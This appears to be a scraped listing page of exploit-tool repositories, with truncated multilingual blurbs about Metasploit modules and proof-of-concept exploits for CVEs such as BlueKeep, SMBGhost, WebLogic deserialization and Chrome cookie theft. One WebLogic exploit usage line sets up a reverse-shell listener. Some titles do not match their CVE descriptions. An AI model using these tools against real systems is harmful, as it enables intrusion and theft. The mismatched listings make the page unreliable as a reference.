cookie_crimes

Estrazione dei Cookie di Chrome Senza Root Questo strumento stampa i cookie di Chrome di un utente. Non è necessaria la password dell'utente né i permessi di root per usarlo. bel bel bel bel bel. Se non sei il tipo di persona che ha regolarmente la capacità di eseguire codice sui computer altrui,...

CVE-2012-2982-Python-PoC

CVE-2012-2982-Python-PoC Questo è stato convertito da un modulo metasploit come esercizio per lo studio dell'OSCP. È nato dalla frustrazione per l'assenza di exploit pubblici da usare manualmente per la macchina Gamezone di TryHackMe. Ho analizzato il codice di metasploit e l'ho convertito in...

Bluekeep-Hunter

Bluekeep-Hunter CVE-2019-0708 Questo utilizza il modulo metasploit per scansionare e verificare se CVE-2019-0708 esiste o meno. L'obiettivo è verificare e confermare se i computer nelle organizzazioni sono realmente vulnerabili o meno, piuttosto che utilizzare un semplice controllo della versione...

Metasploit-Module-TFM

Modulo Metasploit Personalizzato per CVE 2023-2728 e CVE 2024-3177 Descrizione Questo modulo personalizzato sfrutta CVE 2023-2728 e CVE 2024-3177 nelle versioni di Kubernetes vulnerabili a ciascuna di esse ad esempio v1.27.2 è vulnerabile a entrambe, entrambe relative all'elusione dell'imposizion...

CVE-2015-3306-Python-PoC

CVE-2015-3306-Python-PoC Dies wurde mit Anpassungen aus einem Metasploit-Modul als Übung für das OSCP-Studium und die Exploit-Entwicklung umgewandelt. Ursprünglich stammte es von der Suche nach zufälligen Remote-Befehlsausführungsmodulen mit Searchsploit. Ich analysierte den Metasploit-Code und...

CVE-2019-15029

CVE-2019-15029 Il codice exploit ufficiale per FusionPBX v4.4.8 Remote Code Execution CVE-2019-15029 Modulo Metasploit Ho scritto un semplice modulo Metasploit per sfruttare questo problema fusionpbxservices.rb, devi solo scaricarlo e copiarlo nella directory dei moduli di Metasploit...

Klog Server <=2.41 - Unauthenticated Command Injection

Klog Server 2.4.1 and prior is susceptible to an unauthenticated command injection vulnerability. The authenticate.php file uses the user HTTP POST parameter in a call to the shellexec PHP function without appropriate input validation, allowing arbitrary command execution as the apache user. The...

CVE-2021-22005-metasploit

CVE-2021-22005-metasploit Lo script metasploit POC/EXP relativo a CVE-2021-22005, la vulnerabilità di upload arbitrario di file in VMware vCenter Server. preparazione POC root@kitploit: git clone https://github.com/TaroballzChen/CVE-2021-22005-metasploit cd CVE-2021-22005-metasploit mkdir -p...

citrix_adc_netscaler_lfi

citrixadcnetscalerlfiscan Dieses Metasploit-Framework-Modul kann verwendet werden, um Unternehmen bei der Überprüfung der letzten Citrix-Sicherheitslücken veröffentlicht am 8. Juli 2020 zu helfen. CVE-2020-8193 CVE-2020-8195 CVE-2020-8196 Öffentliche Berichterstattung am 8. Juli 2020 durch Donny...

SMBGhost-LPE-Metasploit-Module

Modulo Metasploit per LPE SMBGhost Questa è un'implementazione della vulnerabilità CVE-2020-0796, nota anche come SMBGhost, compatibile con il framework Metasploit Note: Questo modulo è pensato per essere utilizzato quando si dispone di una shell valida per escalare i propri privilegi. È possibil...

fortilogger_arbitrary_fileupload

CVE-2021-3378 | FortiLogger - Caricamento Arbitrario di File Non Autenticato Metasploit Data: 30-01-2021 Autore dell'exploit: Berkan Er [email protected] Homepage del venditore: https://www.fortilogger.com/ Link del software: https://www.fortilogger.com/download Versione: 4.4.2.2 Testato su:...

CVE-2016-2776

CVE-2016-2776 La storia di un pacchetto DNS, un'analisi dettagliata e una prova di concetto della CVE-2016-2776 di BIND. http://blog.infobytesec.com/2016/10/a-tale-of-dns-packet-cve-2016-2776.html In questo repository troverai: Proof-of-Concept namedown.py Modulo Ausiliario Metasploit namedown.rb...

emby_ssrf

msfemby Questo strumento verifica un server EMBY remoto per tentare di utilizzare una vulnerabilità SSRF ed eseguire una scansione http della rete interna al server EMBY. Si basa sulla vulnerabilità CVE-2020-26948. Installazione Clona il repository e inserisci i file rb nella directory...

NetMRI-2014-3418

NetMRI-CVE-2014-3418 - Modulo Metasploit Modulo Metasploit per InfoBlox Network Automation: iniezione di comandi del sistema operativo Prodotto: Network Automation root@kitploit: NetMRI Switch Port Manager Automation Change Manager Security Device Controller Fornitore: root@kitploit: InfoBlox...

ALLMediaServer-1.6-Buffer-Overflow

CVE-2022-28381 ALLMediaServer 1.6 Remoto - Buffer Overflow SEH ALLMediaServer-1.6-Buffer-OverflowMetasploit Prova ed Exploit Riferimenti https://nvd.nist.gov/vuln/detail/CVE-2022-28381 https://vulners.com/cve/CVE-2022-28381 https://vulners.com/cve/CVE-2022-28381...

pipe_finder

Pipe Finder 1.0 Script automatizzato per cercare nomi di pipe disponibili nel protocollo SMB Schermate Requisiti metasploit-framework wget locate pipeauditv2.rb module https://github.com/peterpt/pipeauditorfb - Verrà installato al primo avvio Installa i Requisiti apt-get install...

CVE-2024-26169-Detail-1

CVE-2017-11882-metasploit Este é um módulo do Metasploit que explora CVE-2017-11882 usando o POC abaixo: https://embedi.com/blog/skeleton-closet-ms-office-vulnerability-you-didnt-know-about. Instalação 1. Copie o cve201711882.rb para /usr/share/metasploit-framework/modules/exploits/windows/local/...

CVE-2017-10271

CVE-2017-10271 Script di rilevamento e sfruttamento della vulnerabilità di deserializzazione del componente Weblogic wls-wsat CVE-2017-10271 Utilizzo root@kitploit: $ python CVE-2017-10271.py -l 10.10.10.10 -p 4444 -r http://will.bepwned.com:7001/ Caratteristiche Script Python autonomo Funzionali...

metasploit-ldapnightmare

metasploit-ldapnightmare SafeBreaches CVE-2024-49113 POC LdapNightmare Integrado ao Metasploit Visão Geral Este módulo implementa o CVE-2024-49113, uma vulnerabilidade crítica no cliente LDAP do Windows que pode causar instabilidade no sistema. O módulo integra-se ao Metasploit Framework,...

cve-2025-24054

CVE-2025-24071: NTLM-Hash-Leck über .library-ms-Datei Metasploit-Modul Dieses Repository enthält ein Metasploit-Modul , das CVE-2025-24071 ausnutzt, eine Schwachstelle im Windows Explorer, die NTLM-Hashes preisgibt, wenn eine bösartige .library-ms-Datei aus einem ZIP-Archiv extrahiert wird...